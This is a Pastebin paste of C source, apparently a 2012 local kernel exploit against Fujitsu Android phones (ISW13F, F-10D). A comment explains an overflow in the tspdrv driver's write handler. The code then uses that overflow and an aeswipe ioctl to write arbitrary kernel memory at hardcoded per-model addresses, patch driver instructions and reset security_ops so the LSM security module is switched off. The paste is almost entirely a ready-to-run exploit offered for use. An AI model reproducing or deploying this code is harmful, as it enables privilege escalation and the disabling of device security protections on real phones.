Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * Copyright (c) 2012 goroh_kun
- *
- * 2012/09/03
- * goroh.kun@gmail.com
- */
- #include <stdio.h>
- #include <stdint.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <fcntl.h>
- #include <errno.h>
- #include <sys/stat.h>
- #include <sys/mman.h>
- #include <sys/ioctl.h>
- void memdump(char* addr, int num)
- {
- int i, j;
- int n = (num + 15) / 16;
- for (j=0; j<n; j++){
- printf("%08x : ", addr);
- for(i=0; i<16; i++){
- printf("%02x ", *addr++);
- }
- addr -= 16;
- for(i=0; i<16; i++){
- if (*addr>=0x20 && *addr<0x80) {
- printf("%c", *addr);
- } else {
- printf(".");
- }
- addr++;
- }
- printf("\n");
- }
- }
- #if 0
- ########################################################################################
- There is vulnerability in function "write" in kernel/drivers/tspdrv/tspdrv.c.
- static ssize_t write(struct file *file, const char *buf, size_t count, loff_t *ppos)
- {
- ....
- /* Copy immediately the input buffer */
- if (0 != copy_from_user(g_cWriteBuffer, buf, count))
- {
- /* Failed to copy all the data, exit */
- DbgOut((KERN_ERR "tspdrv: copy_from_user failed.\n"));
- return 0;
- }
- /* Check buffer size */
- if ((count <= SPI_HEADER_SIZE) || (count > SPI_BUFFER_SIZE))
- {
- DbgOut((KERN_ERR "tspdrv: invalid write buffer size.\n"));
- return 0;
- }
- ....
- }
- We have to check the parameter "count" *before* using copy_from_user.
- Or if we set the parameter larger than g_cWriteBuffer size, it occurs memory overflow.
- In this case, I override a variable named g_lptsAuthContext by using this vulnerability.
- The variable is located like bellow.
- g_cWriteBuffer : 0xc09ae6a8
- g_CalibrateBuffer : 0xc09ae6e0
- g_lptsAuthContext : 0xc09ae6fc
- ########################################################################################
- #endif
- #define BUF_SIZE (0xc09ae700 - 0xc09ae6a8)
- #define TSPDRV_MAGIC_NUMBER 0x494D4D52
- void set_lptsAuthContext(unsigned int addr)
- {
- char buf[BUF_SIZE] = {0};
- buf[BUF_SIZE - 4] = addr & 0xff;
- buf[BUF_SIZE - 3] = (addr >> 8) & 0xff;
- buf[BUF_SIZE - 2] = (addr >> 16) & 0xff;
- buf[BUF_SIZE - 1] = (addr >> 24) & 0xff;
- int fdtsp = open("/dev/tspdrv", O_RDWR);
- int ret = ioctl(fdtsp, TSPDRV_MAGIC_NUMBER, 0);
- ret = write(fdtsp, buf, BUF_SIZE);
- close(fdtsp);
- }
- /*
- ...
- 100001a0 : -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- ................
- 100001b0 : -- -- -- -- -- -- -- -- 00 00 00 00 aa aa aa aa ................
- 100001c0 : -- -- -- -- -- -- -- -- -- -- -- -- 01 00 00 00 ................
- ...
- 10000250 :*xx xx xx xx -- -- -- -- -- -- -- -- -- -- -- -- ................
- ...
- * pid is stored on xx xx xx xx, when /dev/aeswipe is opened.
- * an ioctl AUTH_IOCTL_SET_TIMEOUT value is stored on aa aa aa aa.
- */
- typedef unsigned int uint32;
- typedef int int32;
- typedef struct _tag_TrIoctlHeader
- {
- uint32 uiSize; /* INOUT: Total size of the structure including header. */
- /* On input it contains the size of the input buffer. */
- /* On output it contains the size of the output buffer. */
- uint32 uiOperationId; /* IN: ID of the desired operation. Needed for TransportIOCL */
- /* or on systems where everything is tunneled through a */
- /* single IOCTL. See TrOperationId. */
- int32 retCode; /* OUT: Return code of the IOCTL. */
- } tsTrIoctlHeader;
- typedef struct _tag_TrTimeoutIoctlBuffer
- {
- tsTrIoctlHeader sHeader; /* INOUT: Header. */
- uint32 uiTimeout; /* IN: Timeout value. */
- } tsTrTimeoutIoctlBuffer;
- #define AUTH_IOCTL_BASE ('x')
- #define AUTH_IOCTL_SET_TIMEOUT _IOWR( AUTH_IOCTL_BASE, 10, tsTrTimeoutIoctlBuffer )
- void mempatch0(unsigned addr)
- {
- char buf[0x300] = {0};
- set_lptsAuthContext((unsigned)buf);
- int fdaes = open("/dev/aeswipe", O_RDWR);
- usleep(10000);
- set_lptsAuthContext(addr - 0x1b8);
- close(fdaes);
- usleep(10000);
- set_lptsAuthContext(0);
- }
- void mempatch(int fd, unsigned addr, unsigned value)
- {
- tsTrTimeoutIoctlBuffer param = {0};
- param.sHeader.uiSize = sizeof(param);
- param.uiTimeout = value;
- set_lptsAuthContext(addr - 0x1bc);
- ioctl(fd, AUTH_IOCTL_SET_TIMEOUT, ¶m);
- usleep(10000);
- set_lptsAuthContext(0);
- }
- static const unsigned original_code[] = {
- 0xe24cb004, // SUB R11, R12, #4
- 0xe1a06001, // MOV R6, R1
- };
- static const unsigned patched_code[] = {
- 0xe5900084, // LDR R0, [R0,#private] ; file->private
- 0xe89da8f0, // LDMFD SP, {R4-R7,R11,SP,PC}
- };
- static int is_isw13f = 0;
- static int is_newf10d = 0;
- static int is_newf10d2 = 0;
- unsigned int get_private(int fd, int fd2, unsigned aesbuf)
- {
- char buf[0x10] = {0};
- unsigned int ret = 0;
- if(is_isw13f){
- mempatch(fd2, 0xc043f9e8, patched_code[0]); // module_entry_write+0x8
- mempatch(fd2, 0xc043f9ec, patched_code[1]); // module_entry_write+0xc
- }else if(is_newf10d){
- mempatch(fd2, 0xc044d238, patched_code[0]); // module_entry_write+0x8
- mempatch(fd2, 0xc044d23c, patched_code[1]); // module_entry_write+0xc
- }else if(is_newf10d2){
- mempatch(fd2, 0xc044d9ac, patched_code[0]); // module_entry_write+0x8
- mempatch(fd2, 0xc044d9b0, patched_code[1]); // module_entry_write+0xc
- }else{
- mempatch(fd2, 0xc044d20c, patched_code[0]); // module_entry_write+0x8
- mempatch(fd2, 0xc044d210, patched_code[1]); // module_entry_write+0xc
- }
- set_lptsAuthContext((unsigned)aesbuf);
- ret = write(fd, buf, 1);
- usleep(10000);
- if(is_isw13f){
- mempatch(fd2, 0xc043f9e8, original_code[0]); // module_entry_write+0x8
- mempatch(fd2, 0xc043f9ec, original_code[1]); // module_entry_write+0xc
- }else if(is_newf10d){
- mempatch(fd2, 0xc044d238, original_code[0]); // module_entry_write+0x8
- mempatch(fd2, 0xc044d23c, original_code[1]); // module_entry_write+0xc
- }else if(is_newf10d2){
- mempatch(fd2, 0xc044d9ac, original_code[0]); // module_entry_write+0x8
- mempatch(fd2, 0xc044d9b0, original_code[1]); // module_entry_write+0xc
- }else{
- mempatch(fd2, 0xc044d20c, original_code[0]); // module_entry_write+0x8
- mempatch(fd2, 0xc044d210, original_code[1]); // module_entry_write+0xc
- }
- return ret;
- }
- int main(int argc, char** argv)
- {
- char buf[0x300] = {0};
- int recovery_context = 1;
- unsigned int context_addr = 0;
- if(argc >= 2 && atoi(argv[1])==1){
- printf("use ISW13F address\n");
- is_isw13f = 1;
- }
- if(argc >= 2 && atoi(argv[1])==2){
- printf("use new F-10D address\n");
- is_newf10d = 1;
- }
- if(argc >= 2 && atoi(argv[1])==3){
- printf("use new F-10D address(2)\n");
- is_newf10d2 = 1;
- }
- int fdaes = open("/dev/aeswipe", O_RDWR);
- printf("fdaes = %d\n", fdaes);
- if(fdaes < 0){
- printf("open aeswipe error, so try to disable LSM without recovery g_lptsAuthContext\n");
- recovery_context = 0;
- }
- set_lptsAuthContext((unsigned)buf);
- int fdaes2 = open("/dev/aeswipe", O_RDWR);
- usleep(10000);
- set_lptsAuthContext(0);
- printf("fdaes2 = %d\n", fdaes2);
- //AuthTransportIOControl disable AbortCheck
- if(is_isw13f){
- mempatch0(0xc043e2fc); // 0xc043e2fc, 0xc043e310 = 0
- mempatch0(0xc043e300); // 0xc043e300, 0xc043e314 = 0
- mempatch0(0xc043e304); // 0xc043e304, 0xc043e318 = 0
- mempatch0(0xc043e308); // 0xc043e308, 0xc043e31c = 0
- mempatch0(0xc043e30c); // 0xc043e30c, 0xc043e320 = 0
- }else if(is_newf10d){
- mempatch0(0xc044bb4c); // 0xc044bb4c, 0xc044bb60 = 0
- mempatch0(0xc044bb50); // 0xc044bb50, 0xc044bb64 = 0
- mempatch0(0xc044bb54); // 0xc044bb54, 0xc044bb68 = 0
- mempatch0(0xc044bb58); // 0xc044bb58, 0xc044bb6c = 0
- mempatch0(0xc044bb5c); // 0xc044bb5c, 0xc044bb70 = 0
- }else if(is_newf10d2){
- mempatch0(0xc044c2c0); // 0xc044c2c0, 0xc044c2d4 = 0
- mempatch0(0xc044c2c4); // 0xc044c2c4, 0xc044c2d8 = 0
- mempatch0(0xc044c2c8); // 0xc044c2c8, 0xc044c2dc = 0
- mempatch0(0xc044c2cc); // 0xc044c2cc, 0xc044c2e0 = 0
- mempatch0(0xc044c2d0); // 0xc044c2d0, 0xc044c2e4 = 0
- }else{
- mempatch0(0xc044bb14); // 0xc044bb14, 0xc044bb28 = 0
- mempatch0(0xc044bb18); // 0xc044bb18, 0xc044bb2c = 0
- mempatch0(0xc044bb1c); // 0xc044bb1c, 0xc044bb30 = 0
- mempatch0(0xc044bb20); // 0xc044bb20, 0xc044bb34 = 0
- mempatch0(0xc044bb24); // 0xc044bb24, 0xc044bb38 = 0
- }
- if(recovery_context){
- context_addr = get_private(fdaes, fdaes2, (unsigned)buf);
- printf("file->private = %08x\n", context_addr);
- if(context_addr >= 0xffff0000) context_addr = 0;
- if(context_addr <= 0xc0000000) context_addr = 0;
- }
- if(is_isw13f){
- mempatch(fdaes2, 0xc09e5290, 0xc09308ec); // security_ops = default_security_ops
- }else if(is_newf10d2){
- mempatch(fdaes2, 0xc098ed68, 0xc08da184); // security_ops = default_security_ops
- }else{
- mempatch(fdaes2, 0xc098ed48, 0xc08da184); // security_ops = default_security_ops
- }
- set_lptsAuthContext((unsigned)buf);
- close(fdaes2);
- usleep(10000);
- set_lptsAuthContext(context_addr);
- close(fdaes);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement